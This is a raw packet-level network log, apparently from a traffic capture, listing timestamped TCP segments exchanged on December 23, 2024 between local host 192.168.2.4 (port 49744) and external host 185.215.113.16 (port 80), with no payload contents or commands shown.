Dec 23, 2024 08:07:57.639542103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.639678955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.639775038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.639820099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.640688896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.640779972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.640918970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.641693115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.641801119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.641848087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.642690897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.642788887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.643588066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.643712997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.643805027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.643855095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.644730091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.644794941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.644838095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.645705938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.645801067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.645879984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.646739960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.646827936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.646887064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.647713900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.647819042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.647886038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.648718119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.648828030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.648878098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.649709940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.649812937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.649890900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.650734901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.650816917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.650851965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.651746988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.651828051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.651878119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.652756929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.652844906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.652892113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.653703928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.653789043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.653834105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.654731989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.654850960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.654896021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.655735016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.655850887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.655889988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.656783104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.656877041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.656918049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.657747030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.657840967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.658013105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.658742905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.658948898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.659003019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.659753084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.659852028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.660418987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.660752058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.660860062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.660916090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.661793947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.661891937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.662043095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.662763119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.662883043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.662926912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.663788080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.663923979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.663973093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.664771080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.664876938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.664963961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.665802002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.665864944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.665936947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.666941881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.667072058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.667125940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.668111086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.668155909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.668221951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.668812990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.668910980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.668962002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.669773102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.669893980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.669935942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.670788050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.670892954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.670941114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.671861887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.701587915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.811356068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.811384916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.811455011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.811531067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.811655998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.811706066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.812517881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.812673092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.812737942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.813539028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.813623905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.813672066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.814570904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.814624071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.814694881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.815536976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.815629959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.815759897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.816528082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.816653967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.816713095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.817579985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.817655087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.817712069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.818521976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.818662882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.818741083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.819582939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.819677114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.819808960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.820568085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.820679903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.820751905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.821615934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.821660995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.821728945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.822544098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.822679996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.822792053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.823594093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.823707104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.823837042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.824553013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.824661016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.824863911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.825550079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.825686932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.825746059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.826556921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.826667070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.826809883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.827578068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.827698946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.828536987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.828663111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.828704119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.829374075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.829555988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.829716921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.830594063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.830667019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.830688000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.830862045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.831584930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.831691980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.832556963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.832632065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.832778931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.832928896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.833606005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.833714962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.833930969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.834579945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.834718943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.835413933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.835585117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.835654020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.835809946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.836613894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.836700916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.836812019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.837580919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.837722063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.837773085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.838583946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.838676929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.838807106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.839592934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.839701891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.840595007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.840799093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.840825081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.841626883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.841649055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.841710091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.842580080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.842708111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.842740059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.843633890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.843761921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.844614029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.844636917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.844675064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.845096111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.845824957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.845900059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.845964909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.846618891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.846714973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.846829891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.847634077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.847755909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.847867966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.848634005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.848757982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.848891973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.849679947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.849749088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.849816084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.850645065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.850790977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.850837946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.851669073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.851758957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.851840973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.852649927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.852722883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.852792025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.853658915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.853764057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.854645014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.854708910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.854816914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.855015993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.855668068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.855772972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.856496096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.856662035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.856758118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.856807947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.857675076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.857784033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.857857943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.858655930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.858776093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.858848095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.859661102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.859728098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.859798908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.860680103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.860840082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.860990047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.861696005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.861766100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.861890078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.862881899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.862956047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.863030910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.863698006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.869348049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.885765076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.003478050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.003503084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.003621101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.003945112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.004146099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.004287004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.004944086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.005013943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.005234003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.005930901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.006047010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.006144047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.006954908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.007055044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.007112980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.007951021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.008126974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.008980036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.009023905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.009049892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.009118080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.009951115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.010088921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.010180950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.010972023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.011086941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.011328936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.011962891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.012099028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.012307882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.012973070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.013052940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.013225079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.014050961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.014081001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.014142036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.014966965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.015079975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.015144110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.016026020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.016231060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.016309023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.016978025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.017101049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.018004894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.018066883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.018140078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.018378019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.018996954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.019120932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.019289970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.019998074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.020101070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.020566940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.021069050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.021246910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.021373034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.021986961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.022164106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.022222996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.023087978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.023204088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.023334980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.024024010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.024213076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.024282932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.025000095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.025171995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.025281906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.026010990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.026124001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.026197910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.027039051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.027111053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.027342081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.028002024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.028124094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.028249979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.028976917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.029112101 CET	80	49744	185.215.113.16	192.168.2.4
